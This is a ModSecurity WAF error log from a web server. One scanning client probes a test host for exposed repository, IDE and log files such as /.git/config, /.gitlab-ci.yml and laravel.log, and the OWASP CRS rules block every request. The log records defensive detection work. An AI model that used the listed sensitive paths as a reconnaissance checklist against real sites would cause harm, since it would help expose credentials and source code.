[Mon Jun 30 14:12:20.357334 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V5AAAAAM&quot;]
[Mon Jun 30 14:12:20.357524 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V5AAAAAM&quot;]
[Mon Jun 30 14:12:20.379476 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V5QAAAAM&quot;]
[Mon Jun 30 14:12:20.379718 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V5QAAAAM&quot;]
[Mon Jun 30 14:12:20.379916 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V5QAAAAM&quot;]
[Mon Jun 30 14:12:20.402332 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V5gAAAAM&quot;]
[Mon Jun 30 14:12:20.402739 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V5gAAAAM&quot;]
[Mon Jun 30 14:12:20.403058 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V5gAAAAM&quot;]
[Mon Jun 30 14:12:20.448120 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/workspace.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V6AAAAAM&quot;]
[Mon Jun 30 14:12:20.448363 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V6AAAAAM&quot;]
[Mon Jun 30 14:12:20.448561 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V6AAAAAM&quot;]
[Mon Jun 30 14:12:20.494290 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V6gAAAAM&quot;]
[Mon Jun 30 14:12:20.494705 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V6gAAAAM&quot;]
[Mon Jun 30 14:12:20.494918 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V6gAAAAM&quot;]
[Mon Jun 30 14:12:20.516783 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V6wAAAAM&quot;]
[Mon Jun 30 14:12:20.517135 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V6wAAAAM&quot;]
[Mon Jun 30 14:12:20.517370 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V6wAAAAM&quot;]
[Mon Jun 30 14:12:20.539358 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7AAAAAM&quot;]
[Mon Jun 30 14:12:20.539730 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7AAAAAM&quot;]
[Mon Jun 30 14:12:20.539961 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7AAAAAM&quot;]
[Mon Jun 30 14:12:20.561793 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7QAAAAM&quot;]
[Mon Jun 30 14:12:20.562151 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7QAAAAM&quot;]
[Mon Jun 30 14:12:20.562376 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7QAAAAM&quot;]
[Mon Jun 30 14:12:20.584136 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7gAAAAM&quot;]
[Mon Jun 30 14:12:20.584496 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7gAAAAM&quot;]
[Mon Jun 30 14:12:20.584688 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7gAAAAM&quot;]
[Mon Jun 30 14:12:20.606836 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7wAAAAM&quot;]
[Mon Jun 30 14:12:20.607187 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7wAAAAM&quot;]
[Mon Jun 30 14:12:20.607387 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V7wAAAAM&quot;]
[Mon Jun 30 14:12:20.629339 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V8AAAAAM&quot;]
